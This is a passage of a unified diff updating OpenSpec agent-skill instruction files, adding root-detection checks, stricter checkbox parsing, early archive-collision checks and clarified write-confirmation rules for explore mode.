**Store selection:** If the user names a store (a store is a standalone OpenSpec repo registered on this machine) or the work lives in one, run `openspec store list --json` to discover registered store ids, then pass `--store <id>` on the commands that read or write specs and changes (`new change`, `status`, `instructions`, `list`, `show`, `validate`, `archive`, `doctor`, `context`, `schemas`, `view`). Once selected, treat `--store <id>` as sticky for the rest of the workflow. Every unscoped example of those commands below is shorthand: before running it, append the flag. For example, run `openspec status --change "<name>" --json --store "<id>"`, not the unscoped form shown below. Other commands do not take the flag. Hints printed by commands already carry the flag; keep it on follow-ups. Without a store, commands act on the nearest local `openspec/` root.
|
||||
|
||||
**Project check:** These steps expect a project that already uses OpenSpec. Before the first step that writes anything (`new change`, `archive`, `sync specs`, or authoring an artifact file), confirm the project has a root: run `openspec list --json` (with `--store <id>` when a store is selected, since the store is then the root) and read `root`. A root object means the project is set up. `"root": null` means it is not - there is no `openspec/` directory here, and a write such as `openspec new change` would create one as a side effect. The command also exits non-zero, which is that answer rather than a broken CLI, so read the JSON instead of retrying or working around it.
|
||||
|
||||
One `"root": null` is not about setup: when a `status` error message starts with `Declared in` or `Invalid store declaration in` and names this project's `openspec/config.yaml` (or `config.yml`), the project does use OpenSpec through a store it declares, which this machine cannot resolve (the store is not registered, or the `store:` line is malformed). Do not treat it as uninitialized and skip the branches below: stop before writing and show the user that error's `message` and `fix`.
|
||||
|
||||
Otherwise, with no root, what happens next depends on how this workflow was reached:
|
||||
|
||||
- **Auto-selected**: you chose this workflow yourself, without the user naming OpenSpec, naming this skill, or running its slash command. Stop using OpenSpec and answer the request normally, as you would with no OpenSpec installed. Do not ask them to set anything up and do not mention OpenSpec setup.
|
||||
- **Explicit OpenSpec request**: the user named OpenSpec, named this skill, or ran its slash command. Stop before writing and ask how to proceed: set this project up (`openspec init`), target a store they already have (`--store <id>`), or continue without OpenSpec for this request. Wait for their answer.
|
||||
|
||||
In both branches, never create the root as a side effect: do not run `openspec init` until the user asks for it, do not hand-create `openspec/` files, and do not let a command create it.
|
||||
|
||||
`<capability-path>` is the spec directory relative to `specs/` (for example, `user-auth` or `identity/user-auth`). Preserve the full path from each delta spec when resolving its main spec.
|
||||
|
||||
**Input**: Optionally specify a change name. If omitted, check if it can be inferred from conversation context. If vague or ambiguous you MUST prompt for available changes.
|
||||
@@ -76,7 +87,11 @@ Archive a completed change in the experimental workflow.
|
||||
|
||||
Read the tasks file (typically `tasks.md`) to check for incomplete tasks.
|
||||
|
||||
Count tasks marked with `- [ ]` (incomplete) vs `- [x]` (complete).
|
||||
A checkbox is complete when its only content is `x` or `X`; spacing inside
|
||||
the brackets does not matter, so `- [ x]` counts as complete too. Every
|
||||
other marker is incomplete - `- [ ]`, an empty `- []`, and markers OpenSpec
|
||||
assigns no meaning to such as `- [~]` or `- [-]`. Never read an unfamiliar
|
||||
marker as complete.
|
||||
|
||||
**If incomplete tasks found:**
|
||||
- Display warning showing count of incomplete tasks
|
||||
@@ -94,17 +109,23 @@ Archive a completed change in the experimental workflow.
|
||||
|
||||
**If delta specs exist:**
|
||||
- Compare each delta spec with its corresponding main spec at `<planningHome.root>/openspec/specs/<capability-path>/spec.md` (use the store-aware `planningHome.root` from step 2, not a hardcoded repo path)
|
||||
- A missing main spec is **not automatically** "already synced". For a new capability, the main spec is an *output* of the sync, not an input:
|
||||
- If the delta has MODIFIED or RENAMED requirements, report that only ADDED requirements can create a new main spec and mark that capability as sync-blocked. Never invent a requirement that has no current version.
|
||||
- Otherwise, if the delta has only REMOVED requirements and the change's `.openspec.yaml` declares `retire_capabilities: true`, the capability is already retired: count it as already synced, warn that there is nothing left to remove, and do not recreate the main spec. Apply this rule both now and when verifying a completed sync.
|
||||
- Otherwise, if the delta has no ADDED requirements, report that no sync is possible and mark that capability as sync-blocked. For a REMOVED-only delta, warn that there is no main spec to remove from and leave the main-spec tree unchanged. `openspec archive` refuses the unmarked REMOVED-only case with `Spec must have at least one requirement`.
|
||||
- Otherwise, count the capability as needing sync and name it in the summary (`<capability-path>: new main spec will be created`). If the delta also has REMOVED requirements, warn that they will be ignored because there is no main spec to remove from. The sync creates the main spec from only the delta's ADDED requirements, exactly as `openspec archive` does.
|
||||
- Determine what changes would be applied (adds, modifications, removals, renames)
|
||||
- Show a combined summary before prompting
|
||||
- Continue assessing the remaining capabilities even when one is sync-blocked. Show a combined summary before prompting.
|
||||
|
||||
**Prompt options:**
|
||||
- If changes needed: "Sync now (recommended)", "Archive without syncing"
|
||||
- If already synced: "Archive now", "Sync anyway", "Cancel"
|
||||
- If any capability is sync-blocked: explain why and offer only "Archive without syncing", "Cancel"
|
||||
- Otherwise, if changes needed: "Sync now (recommended)", "Archive without syncing"
|
||||
- Otherwise, if already synced: "Archive now", "Sync anyway", "Cancel"
|
||||
|
||||
Route on the answer:
|
||||
- "Cancel" — stop, do not archive
|
||||
- "Archive without syncing" or "Archive now" — proceed to archive
|
||||
- "Sync now" or "Sync anyway" — sync, then verify (below)
|
||||
- "Sync now" or "Sync anyway" — sync, then verify (below). Do not start any sync while a capability is sync-blocked; explain the blocker and repeat the available choices.
|
||||
- Anything else — ask again rather than archiving
|
||||
|
||||
Before a selected sync writes any main spec, run
|
||||
@@ -118,7 +139,7 @@ Archive a completed change in the experimental workflow.
|
||||
|
||||
Then run the `openspec-sync-specs` workflow inline (agent-driven intelligent merge) for change '<name>', passing the delta spec analysis and the fetched specs-rule snapshot from above, and wait for it to finish. The inline sync must reuse that snapshot without fetching `specs` instructions again. Do not delegate it to a background task — step 5 would move `changeRoot` out from under a sync that is still reading it, leaving the change archived and the main specs never updated. If your agent can only run it by delegation, delegate synchronously and wait for the result.
|
||||
|
||||
Then re-run the comparison from the top of this step against every capability that has a delta spec in `artifactPaths.specs.existingOutputPaths` — not only the ones the sync reports it touched. A successful sync leaves nothing left to apply, so each capability must now read as already synced:
|
||||
Then re-run the comparison from the top of this step, including the explicitly retired, missing-spec case, against every capability that has a delta spec in `artifactPaths.specs.existingOutputPaths` — not only the ones the sync reports it touched. A successful sync leaves nothing left to apply, so each capability must now read as already synced:
|
||||
- ADDED requirements present
|
||||
- MODIFIED requirements carrying the scenario and description changes named in the delta, with their other scenarios intact
|
||||
- REMOVED requirements gone — and where this sync retired a capability (removed its last requirement, leaving `## Requirements` empty), its main spec deleted rather than left empty; a spec the sync deliberately kept and reported is also a match
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
---
|
||||
name: openspec-bulk-archive-change
|
||||
description: Archive multiple completed changes at once. Use when archiving several parallel changes.
|
||||
description: Archive multiple completed OpenSpec changes at once. Use when archiving several parallel changes. Also use for a plural archive request - "openspec bulk-archive", "opsx bulk-archive", "openspec archive all", or "openspec archive these changes".
|
||||
allowed-tools: Bash(openspec:*)
|
||||
license: MIT
|
||||
compatibility: Requires openspec CLI.
|
||||
@@ -15,6 +15,17 @@ This skill allows you to batch-archive changes, handling spec conflicts intellig
|
||||
|
||||
**Store selection:** If the user names a store (a store is a standalone OpenSpec repo registered on this machine) or the work lives in one, run `openspec store list --json` to discover registered store ids, then pass `--store <id>` on the commands that read or write specs and changes (`new change`, `status`, `instructions`, `list`, `show`, `validate`, `archive`, `doctor`, `context`, `schemas`, `view`). Once selected, treat `--store <id>` as sticky for the rest of the workflow. Every unscoped example of those commands below is shorthand: before running it, append the flag. For example, run `openspec status --change "<name>" --json --store "<id>"`, not the unscoped form shown below. Other commands do not take the flag. Hints printed by commands already carry the flag; keep it on follow-ups. Without a store, commands act on the nearest local `openspec/` root.
|
||||
|
||||
**Project check:** These steps expect a project that already uses OpenSpec. Before the first step that writes anything (`new change`, `archive`, `sync specs`, or authoring an artifact file), confirm the project has a root: run `openspec list --json` (with `--store <id>` when a store is selected, since the store is then the root) and read `root`. A root object means the project is set up. `"root": null` means it is not - there is no `openspec/` directory here, and a write such as `openspec new change` would create one as a side effect. The command also exits non-zero, which is that answer rather than a broken CLI, so read the JSON instead of retrying or working around it.
|
||||
|
||||
One `"root": null` is not about setup: when a `status` error message starts with `Declared in` or `Invalid store declaration in` and names this project's `openspec/config.yaml` (or `config.yml`), the project does use OpenSpec through a store it declares, which this machine cannot resolve (the store is not registered, or the `store:` line is malformed). Do not treat it as uninitialized and skip the branches below: stop before writing and show the user that error's `message` and `fix`.
|
||||
|
||||
Otherwise, with no root, what happens next depends on how this workflow was reached:
|
||||
|
||||
- **Auto-selected**: you chose this workflow yourself, without the user naming OpenSpec, naming this skill, or running its slash command. Stop using OpenSpec and answer the request normally, as you would with no OpenSpec installed. Do not ask them to set anything up and do not mention OpenSpec setup.
|
||||
- **Explicit OpenSpec request**: the user named OpenSpec, named this skill, or ran its slash command. Stop before writing and ask how to proceed: set this project up (`openspec init`), target a store they already have (`--store <id>`), or continue without OpenSpec for this request. Wait for their answer.
|
||||
|
||||
In both branches, never create the root as a side effect: do not run `openspec init` until the user asks for it, do not hand-create `openspec/` files, and do not let a command create it.
|
||||
|
||||
`<capability-path>` is the spec directory relative to `specs/` (for example, `user-auth` or `identity/user-auth`). Preserve the full path from each delta spec when resolving its main spec.
|
||||
|
||||
**Input**: None required (prompts for selection)
|
||||
@@ -70,7 +81,9 @@ This skill allows you to batch-archive changes, handling spec conflicts intellig
|
||||
- Note which artifacts are `done` vs other states
|
||||
|
||||
b. **Task completion** - Read `artifactPaths.tasks.existingOutputPaths` from status JSON
|
||||
- Count `- [ ]` (incomplete) vs `- [x]` (complete)
|
||||
- Complete means the checkbox holds only `x`/`X`, ignoring spacing
|
||||
(`- [ x]` is complete); every other marker is incomplete (`- [ ]`,
|
||||
`- []`, and unfamiliar ones such as `- [~]` or `- [-]`)
|
||||
- If no tasks file exists, note as "No tasks"
|
||||
|
||||
c. **Delta specs** - Check `artifactPaths.specs.existingOutputPaths` from status JSON
|
||||
@@ -81,6 +94,14 @@ This skill allows you to batch-archive changes, handling spec conflicts intellig
|
||||
lookup for that change; do not infer deltas from unrelated artifacts.
|
||||
- Evaluate this independently for every change, including mixed-schema
|
||||
batches where some schemas have no `specs` artifact.
|
||||
|
||||
d. **Archive target** - Compute each change's target name once and record it as that change's `<target-name>`
|
||||
- Use the change name as-is when it already starts with a `YYYY-MM-DD-` prefix; otherwise prepend the current date as `YYYY-MM-DD-<name>` (same rule as `openspec archive`)
|
||||
- Check whether `<planningHome.changesDir>/archive/<target-name>` already exists
|
||||
- If it exists, or another selected change resolves to the same target name, mark every such change `Blocked` with `Archive directory already exists`
|
||||
- A blocked change is never synced or moved: show it as `Blocked` in the step 6 table, leave it out of conflict resolution (resolve its conflicts using only the other changes), and record it as Failed in step 8d
|
||||
- Checking here, before any main spec is written, matches `openspec archive`: a collision found after sync would leave main specs rewritten for an archive that never happened
|
||||
|
||||
4. **Detect spec conflicts**
|
||||
|
||||
Build a map keyed by `<capability-path>`, the exact path relative to `specs/`:
|
||||
@@ -153,8 +174,8 @@ This skill allows you to batch-archive changes, handling spec conflicts intellig
|
||||
Route on the answer by intent, not by exact label — you wrote these labels,
|
||||
so match what the user picked rather than the wording above:
|
||||
- "Cancel" — stop, do not archive. Report that nothing was archived and skip the remaining steps.
|
||||
- The archive-everything option — proceed with every selected change
|
||||
- The ready-only option — proceed with only the changes the step 6 table marks `Ready` or `Ready*`, and record the rest as Skipped in step 8d. If a `Ready*` change's conflict partner is skipped, re-derive that conflict's resolution using only the changes being archived.
|
||||
- The archive-everything option — proceed with every selected change that is not `Blocked`
|
||||
- The ready-only option — proceed with only the changes the step 6 table marks `Ready` or `Ready*`, and record the rest as Skipped in step 8d, except `Blocked` changes, which stay Failed with `Archive directory already exists`. If a `Ready*` change's conflict partner is skipped, re-derive that conflict's resolution using only the changes being archived.
|
||||
- Anything else — ask again rather than archiving
|
||||
|
||||
Before step 8 writes the first main spec or moves any change, fetch every
|
||||
@@ -199,13 +220,20 @@ This skill allows you to batch-archive changes, handling spec conflicts intellig
|
||||
|
||||
c. **Perform the archive**:
|
||||
|
||||
Target name: use the change name as-is when it already starts with a `YYYY-MM-DD-` prefix; otherwise prepend the current date as `YYYY-MM-DD-<name>` (same rule as `openspec archive`).
|
||||
Target name: use the `<target-name>` recorded for this change in step 3d, unchanged. Never recompute it here: a batch that runs past midnight would check one date in step 3 and move to another.
|
||||
|
||||
**Check if target already exists:**
|
||||
- Check again immediately before the move, even though step 3 already checked: the target can appear mid-batch
|
||||
- If yes: record this change as Failed with `Archive directory already exists`, leave `changeRoot` where it is, report any main specs step 8a already synced for it, and continue with the remaining changes
|
||||
- If no: move `changeRoot` to the archive directory
|
||||
|
||||
```bash
|
||||
mkdir -p "<planningHome.changesDir>/archive"
|
||||
mv "<changeRoot>" "<planningHome.changesDir>/archive/<target-name>"
|
||||
```
|
||||
|
||||
**Confirm the move did not nest:** `mv` exits 0 even when the target appeared after the check, moving the change *inside* it. If `<planningHome.changesDir>/archive/<target-name>/<change-directory-name>` now exists (the last path segment of `changeRoot`), move that directory back to `changeRoot` and record this change as Failed with `Archive directory already exists`. Never report it as archived.
|
||||
|
||||
d. **Track outcome** for each change:
|
||||
- Success: archived successfully
|
||||
- Failed: error during archive or spec verification (record error)
|
||||
@@ -320,8 +348,9 @@ No active changes found. Create a new change to get started.
|
||||
- Never archive after the user cancels the confirmation — a cancelled batch archives nothing
|
||||
- Track and report all outcomes (success/skip/fail)
|
||||
- Preserve .openspec.yaml when moving to archive
|
||||
- Archive directory target uses current date: YYYY-MM-DD-<name>; a name that already starts with a `YYYY-MM-DD-` prefix is used as-is (never stack a second date)
|
||||
- Archive directory target uses the current date, computed once in step 3d and reused at the move: YYYY-MM-DD-<name>; a name that already starts with a `YYYY-MM-DD-` prefix is used as-is (never stack a second date)
|
||||
- If archive target exists, fail that change but continue with others
|
||||
- Check every archive target in step 3, before the first main-spec write; a change whose target exists is never synced or moved
|
||||
- If sync is requested, run the `openspec-sync-specs` workflow inline (agent-driven) for each change with included delta specs
|
||||
- Carry the per-delta `includedDeltas` and `excludedDeltas` decisions into execution; sync and verify only included deltas
|
||||
- Report every excluded delta as `sync skipped` without treating the archive itself as skipped
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
---
|
||||
name: openspec-continue-change
|
||||
description: Continue working on an OpenSpec change by creating the next artifact. Use when the user wants to progress their change, create the next artifact, or continue their workflow.
|
||||
description: Continue working on an OpenSpec change by creating the next artifact. Use when the user wants to progress their change, create the next artifact, or continue their workflow. Also use when the user says "openspec continue" or "opsx continue".
|
||||
allowed-tools: Bash(openspec:*)
|
||||
license: MIT
|
||||
compatibility: Requires openspec CLI.
|
||||
@@ -13,6 +13,17 @@ Continue working on a change by creating the next artifact.
|
||||
|
||||
**Store selection:** If the user names a store (a store is a standalone OpenSpec repo registered on this machine) or the work lives in one, run `openspec store list --json` to discover registered store ids, then pass `--store <id>` on the commands that read or write specs and changes (`new change`, `status`, `instructions`, `list`, `show`, `validate`, `archive`, `doctor`, `context`, `schemas`, `view`). Once selected, treat `--store <id>` as sticky for the rest of the workflow. Every unscoped example of those commands below is shorthand: before running it, append the flag. For example, run `openspec status --change "<name>" --json --store "<id>"`, not the unscoped form shown below. Other commands do not take the flag. Hints printed by commands already carry the flag; keep it on follow-ups. Without a store, commands act on the nearest local `openspec/` root.
|
||||
|
||||
**Project check:** These steps expect a project that already uses OpenSpec. Before the first step that writes anything (`new change`, `archive`, `sync specs`, or authoring an artifact file), confirm the project has a root: run `openspec list --json` (with `--store <id>` when a store is selected, since the store is then the root) and read `root`. A root object means the project is set up. `"root": null` means it is not - there is no `openspec/` directory here, and a write such as `openspec new change` would create one as a side effect. The command also exits non-zero, which is that answer rather than a broken CLI, so read the JSON instead of retrying or working around it.
|
||||
|
||||
One `"root": null` is not about setup: when a `status` error message starts with `Declared in` or `Invalid store declaration in` and names this project's `openspec/config.yaml` (or `config.yml`), the project does use OpenSpec through a store it declares, which this machine cannot resolve (the store is not registered, or the `store:` line is malformed). Do not treat it as uninitialized and skip the branches below: stop before writing and show the user that error's `message` and `fix`.
|
||||
|
||||
Otherwise, with no root, what happens next depends on how this workflow was reached:
|
||||
|
||||
- **Auto-selected**: you chose this workflow yourself, without the user naming OpenSpec, naming this skill, or running its slash command. Stop using OpenSpec and answer the request normally, as you would with no OpenSpec installed. Do not ask them to set anything up and do not mention OpenSpec setup.
|
||||
- **Explicit OpenSpec request**: the user named OpenSpec, named this skill, or ran its slash command. Stop before writing and ask how to proceed: set this project up (`openspec init`), target a store they already have (`--store <id>`), or continue without OpenSpec for this request. Wait for their answer.
|
||||
|
||||
In both branches, never create the root as a side effect: do not run `openspec init` until the user asks for it, do not hand-create `openspec/` files, and do not let a command create it.
|
||||
|
||||
**Input**: Optionally specify a change name. If omitted, check if it can be inferred from conversation context. If vague or ambiguous you MUST prompt for available changes.
|
||||
|
||||
**Steps**
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
---
|
||||
name: openspec-explore
|
||||
description: Enter explore mode - a thinking partner for exploring ideas, investigating problems, and clarifying requirements. Use when the user wants to think through something before or during a change.
|
||||
description: Enter OpenSpec explore mode - a thinking partner for exploring ideas, investigating problems, and clarifying requirements in a project that uses OpenSpec. Use when the user wants to think through something before or during an OpenSpec change. Also use when the user says "openspec explore" or "opsx explore".
|
||||
allowed-tools: Bash(openspec:*)
|
||||
license: MIT
|
||||
compatibility: Requires openspec CLI.
|
||||
@@ -11,12 +11,23 @@ metadata:
|
||||
|
||||
Enter explore mode. Think deeply. Visualize freely. Follow the conversation wherever it goes.
|
||||
|
||||
**IMPORTANT: Explore mode is for thinking, not implementing.** You may read files, search code, investigate the codebase, and run read-only commands or tools without confirmation, but you must NEVER write code or implement features. If the user asks you to implement something, remind them to exit explore mode first and create a change proposal. You MAY create or update OpenSpec change artifacts (proposals, designs, specs) within a confirmed scope—that's capturing thinking, not implementing. Answering design or clarifying questions is never consent to write. Before the first write-capable action, name the artifacts or files you would change and what you would do, ask a direct yes/no question, and wait for the user's confirmation in a separate message. Confirmation covers only the scope you described; ask again before expanding it. For a new change, scaffold it first as described below.
|
||||
**IMPORTANT: Explore mode is for thinking, not implementing.** You may read files, search code, investigate the codebase, and run read-only commands or tools without confirmation, but you must NEVER write code or implement features. If the user asks you to implement something, do not start it here: say that explore mode does not implement, and point them at `/openspec-propose`, which turns the discussion into a change. The work happens from that change, never from explore mode. You MAY create or update OpenSpec change artifacts (proposals, designs, specs) within a confirmed scope—that's capturing thinking, not implementing. Answering design or clarifying questions is never consent to write. Before the first write-capable action, name the artifacts or files you would change and what you would do, ask a direct yes/no question, and wait for the user's confirmation in a separate message. Confirmation covers only the scope you described; ask again before expanding it. An explicit request from the user to capture the exploration as a new change is itself that confirmation, covering the change and the change artifacts the request names; scaffold it first as described below.
|
||||
|
||||
**This is a stance, not a workflow.** There are no fixed steps, no required sequence, no mandatory outputs. You're a thinking partner helping the user explore.
|
||||
|
||||
**Store selection:** If the user names a store (a store is a standalone OpenSpec repo registered on this machine) or the work lives in one, run `openspec store list --json` to discover registered store ids, then pass `--store <id>` on the commands that read or write specs and changes (`new change`, `status`, `instructions`, `list`, `show`, `validate`, `archive`, `doctor`, `context`, `schemas`, `view`). Once selected, treat `--store <id>` as sticky for the rest of the workflow. Every unscoped example of those commands below is shorthand: before running it, append the flag. For example, run `openspec status --change "<name>" --json --store "<id>"`, not the unscoped form shown below. Other commands do not take the flag. Hints printed by commands already carry the flag; keep it on follow-ups. Without a store, commands act on the nearest local `openspec/` root.
|
||||
|
||||
**Project check:** These steps expect a project that already uses OpenSpec. Before the first step that writes anything (`new change`, `archive`, `sync specs`, or authoring an artifact file), confirm the project has a root: run `openspec list --json` (with `--store <id>` when a store is selected, since the store is then the root) and read `root`. A root object means the project is set up. `"root": null` means it is not - there is no `openspec/` directory here, and a write such as `openspec new change` would create one as a side effect. The command also exits non-zero, which is that answer rather than a broken CLI, so read the JSON instead of retrying or working around it.
|
||||
|
||||
One `"root": null` is not about setup: when a `status` error message starts with `Declared in` or `Invalid store declaration in` and names this project's `openspec/config.yaml` (or `config.yml`), the project does use OpenSpec through a store it declares, which this machine cannot resolve (the store is not registered, or the `store:` line is malformed). Do not treat it as uninitialized and skip the branches below: stop before writing and show the user that error's `message` and `fix`.
|
||||
|
||||
Otherwise, with no root, what happens next depends on how this workflow was reached:
|
||||
|
||||
- **Auto-selected**: you chose this workflow yourself, without the user naming OpenSpec, naming this skill, or running its slash command. Stop using OpenSpec and answer the request normally, as you would with no OpenSpec installed. Do not ask them to set anything up and do not mention OpenSpec setup.
|
||||
- **Explicit OpenSpec request**: the user named OpenSpec, named this skill, or ran its slash command. Stop before writing and ask how to proceed: set this project up (`openspec init`), target a store they already have (`--store <id>`), or continue without OpenSpec for this request. Wait for their answer.
|
||||
|
||||
In both branches, never create the root as a side effect: do not run `openspec init` until the user asks for it, do not hand-create `openspec/` files, and do not let a command create it.
|
||||
|
||||
---
|
||||
|
||||
## The Stance
|
||||
@@ -141,14 +152,14 @@ Think freely. When insights crystallize, you might offer:
|
||||
- "This feels solid enough to start a change. Want me to create a proposal?"
|
||||
- Or keep exploring - no pressure to formalize
|
||||
|
||||
If the user asks you to capture the exploration as a new change, transition seamlessly into the requested capture:
|
||||
If the user asks you to capture the exploration as a new change, that request is the confirmation required above. It covers scaffolding that change and creating the change artifacts the request names, and nothing else. This holds only when the request is theirs: a yes to an offer you made confirms only the scope your offer itself named, so name the change and the artifacts in the offer. Don't re-ask for what they already asked for; do ask before anything beyond it. Transition seamlessly into the requested capture:
|
||||
|
||||
1. Run `openspec new change "<name>"` (with `--store <id>` when applicable) before creating any artifacts. Never create a new change directory under `openspec/changes/` by hand; the CLI scaffold creates required metadata such as `.openspec.yaml`. Keep the selected `--store <id>` on every applicable follow-up `status` and `instructions` command.
|
||||
2. Run `openspec status --change "<name>" --json` (append the confirmed `--store "<id>"` only for a registered standalone store), then process the requested artifacts in dependency order. For each requested artifact that is `ready`, run `openspec instructions "<artifact-id>" --change "<name>" --json` (append the confirmed `--store "<id>"` only for a registered standalone store). Before creating a requested artifact, evaluate any condition in its own `instruction` against the explored change; record a deliberate skip instead when the condition does not apply. If a requested artifact is blocked by a direct prerequisite the user did not request, run `openspec instructions "<prerequisite-id>" --change "<name>" --json` (append the confirmed `--store "<id>"` only for a registered standalone store) for that prerequisite whether it is `ready` or `blocked`. If its own `instruction` states a condition, evaluate that condition against the explored change and record a deliberate skip only when the condition does not apply. If the condition applies, or the prerequisite is not conditional, treat it as a normal prerequisite and ask before expanding the capture. Do not create an unrequested prerequisite unless the user approves.
|
||||
3. Follow the returned `template` and `instruction` fields. Read completed dependency files listed in `dependencies`, and apply `context` and `rules` as constraints without copying them into the artifact. If the instruction delegates creation to a specific skill or command, invoke it; otherwise write the artifact to `resolvedOutputPath`, using the instruction to choose a concrete path when it is a glob. Verify that the selected concrete output exists.
|
||||
4. After creating each artifact, re-run `openspec status --change "<name>" --json` (append the confirmed `--store "<id>"` only for a registered standalone store) and continue until every requested artifact is `done`, `skipped`, or was deliberately skipped because its own `instruction` stated a condition that did not apply. Tell the user about a deliberate conditional skip, remember it, and do not reconsider it. Dependencies are enablers, not gates: if a requested artifact is still `blocked` only because you deliberately skipped a conditional prerequisite, run `openspec instructions "<artifact-id>" --change "<name>" --json` (append the confirmed `--store "<id>"` only for a registered standalone store) despite the blocked status, then create it using step 3 only when those recorded conditional skips are its sole missing dependencies. If a requested artifact is blocked by a prerequisite the user did not ask to capture and cannot be conditionally skipped, explain that dependency and ask before expanding the capture.
|
||||
|
||||
Capture the artifact(s) the user requested without asking them to invoke another workflow command. If they asked only to start a change, stop after scaffolding and show its status.
|
||||
Capture the artifact(s) the user requested without asking them to invoke another workflow command. If they asked only to start a change, stop after scaffolding and show its status. When the requested capture is done, stop there and name where the work continues: `/openspec-propose` writes the remaining planning artifacts, and `/openspec-apply-change` implements the change once tasks exist. Capturing artifacts never starts implementing them.
|
||||
|
||||
### When a change exists
|
||||
|
||||
@@ -304,7 +315,7 @@ You: That changes everything.
|
||||
|
||||
There's no required ending. Discovery might:
|
||||
|
||||
- **Flow into a proposal**: "Ready to start? I can create a change proposal."
|
||||
- **Flow into a proposal**: "Ready to start? Run `/openspec-propose` and this becomes a change."
|
||||
- **Result in artifact updates**: "Updated design.md with these decisions"
|
||||
- **Just provide clarity**: User has what they need, moves on
|
||||
- **Continue later**: "We can pick this up anytime"
|
||||
@@ -321,7 +332,7 @@ When it feels like things are crystallizing, you might summarize:
|
||||
**Open questions**: [if any remain]
|
||||
|
||||
**Next steps** (if ready):
|
||||
- Create a change proposal
|
||||
- Turn this into a change: `/openspec-propose`
|
||||
- Keep exploring: just keep talking
|
||||
```
|
||||
|
||||
@@ -331,11 +342,11 @@ But this summary is optional. Sometimes the thinking IS the value.
|
||||
|
||||
## Guardrails
|
||||
|
||||
- **Don't implement** - Never write code or implement features. Workflow configuration counts too: creating or editing schemas, templates, or `openspec/config.yaml` is a change, not thinking. Creating or updating OpenSpec change artifacts within the confirmed scope is fine, writing anything else is not.
|
||||
- **Don't implement** - Never write code or implement features. Workflow configuration counts too: creating or editing schemas, templates, or `openspec/config.yaml` is a change, not thinking. Creating or updating OpenSpec change artifacts within the confirmed scope is fine, writing anything else is not. When the user is ready to build, name the handoff rather than starting: `/openspec-propose` turns the discussion into a change, and the work happens there.
|
||||
- **Don't fake understanding** - If something is unclear, dig deeper
|
||||
- **Don't rush** - Discovery is thinking time, not task time
|
||||
- **Don't force structure** - Let patterns emerge naturally
|
||||
- **Don't auto-capture** - Offer to save insights, don't just do it. Read-only commands and tools need no confirmation. Before the first write-capable action—including `openspec new change` or another command that writes files—name the artifacts or files and proposed changes, ask a direct yes/no question, and wait for explicit confirmation in a separate user message. That confirmation covers only the described scope; ask again before expanding it. Answers to design or clarifying questions are never consent to write.
|
||||
- **Don't auto-capture** - Offer to save insights, don't just do it. Read-only commands and tools need no confirmation. Before the first write-capable action—including `openspec new change` or another command that writes files—name the artifacts or files and proposed changes, ask a direct yes/no question, and wait for explicit confirmation in a separate user message. That confirmation covers only the described scope; ask again before expanding it. Answers to design or clarifying questions are never consent to write. That rule governs `openspec new change` whenever you are the one proposing the capture; the user's own capture request is the exception, handled in the capture transition above.
|
||||
- **Don't manually scaffold changes** - Never create a new change directory under `openspec/changes/` by hand. Always use `openspec new change "<name>"` (with `--store <id>` when applicable) so required metadata such as `.openspec.yaml` is created before writing artifacts.
|
||||
- **Do visualize** - A good diagram is worth many paragraphs
|
||||
- **Do explore the codebase** - Ground discussions in reality
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
---
|
||||
name: openspec-ff-change
|
||||
description: Fast-forward through OpenSpec artifact creation. Use when the user wants to quickly create all artifacts needed for implementation without stepping through each one individually.
|
||||
description: Fast-forward through OpenSpec artifact creation. Use when the user wants to quickly create all artifacts needed for implementation without stepping through each one individually. Also use when the user says "openspec ff" or "opsx ff".
|
||||
allowed-tools: Bash(openspec:*)
|
||||
license: MIT
|
||||
compatibility: Requires openspec CLI.
|
||||
@@ -13,6 +13,17 @@ Fast-forward through artifact creation - generate everything needed to start imp
|
||||
|
||||
**Store selection:** If the user names a store (a store is a standalone OpenSpec repo registered on this machine) or the work lives in one, run `openspec store list --json` to discover registered store ids, then pass `--store <id>` on the commands that read or write specs and changes (`new change`, `status`, `instructions`, `list`, `show`, `validate`, `archive`, `doctor`, `context`, `schemas`, `view`). Once selected, treat `--store <id>` as sticky for the rest of the workflow. Every unscoped example of those commands below is shorthand: before running it, append the flag. For example, run `openspec status --change "<name>" --json --store "<id>"`, not the unscoped form shown below. Other commands do not take the flag. Hints printed by commands already carry the flag; keep it on follow-ups. Without a store, commands act on the nearest local `openspec/` root.
|
||||
|
||||
**Project check:** These steps expect a project that already uses OpenSpec. Before the first step that writes anything (`new change`, `archive`, `sync specs`, or authoring an artifact file), confirm the project has a root: run `openspec list --json` (with `--store <id>` when a store is selected, since the store is then the root) and read `root`. A root object means the project is set up. `"root": null` means it is not - there is no `openspec/` directory here, and a write such as `openspec new change` would create one as a side effect. The command also exits non-zero, which is that answer rather than a broken CLI, so read the JSON instead of retrying or working around it.
|
||||
|
||||
One `"root": null` is not about setup: when a `status` error message starts with `Declared in` or `Invalid store declaration in` and names this project's `openspec/config.yaml` (or `config.yml`), the project does use OpenSpec through a store it declares, which this machine cannot resolve (the store is not registered, or the `store:` line is malformed). Do not treat it as uninitialized and skip the branches below: stop before writing and show the user that error's `message` and `fix`.
|
||||
|
||||
Otherwise, with no root, what happens next depends on how this workflow was reached:
|
||||
|
||||
- **Auto-selected**: you chose this workflow yourself, without the user naming OpenSpec, naming this skill, or running its slash command. Stop using OpenSpec and answer the request normally, as you would with no OpenSpec installed. Do not ask them to set anything up and do not mention OpenSpec setup.
|
||||
- **Explicit OpenSpec request**: the user named OpenSpec, named this skill, or ran its slash command. Stop before writing and ask how to proceed: set this project up (`openspec init`), target a store they already have (`--store <id>`), or continue without OpenSpec for this request. Wait for their answer.
|
||||
|
||||
In both branches, never create the root as a side effect: do not run `openspec init` until the user asks for it, do not hand-create `openspec/` files, and do not let a command create it.
|
||||
|
||||
**Input**: The user's request should include a change name (kebab-case) OR a description of what they want to build.
|
||||
|
||||
**Steps**
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
---
|
||||
name: openspec-new-change
|
||||
description: Start a new OpenSpec change using the experimental artifact workflow. Use when the user wants to create a new feature, fix, or modification with a structured step-by-step approach.
|
||||
description: Start a new OpenSpec change using the experimental artifact workflow. Use when the user wants to create a new feature, fix, or modification with a structured step-by-step approach. Also use when the user says "openspec new change" or "opsx new".
|
||||
allowed-tools: Bash(openspec:*)
|
||||
license: MIT
|
||||
compatibility: Requires openspec CLI.
|
||||
@@ -13,6 +13,17 @@ Start a new change using the experimental artifact-driven approach.
|
||||
|
||||
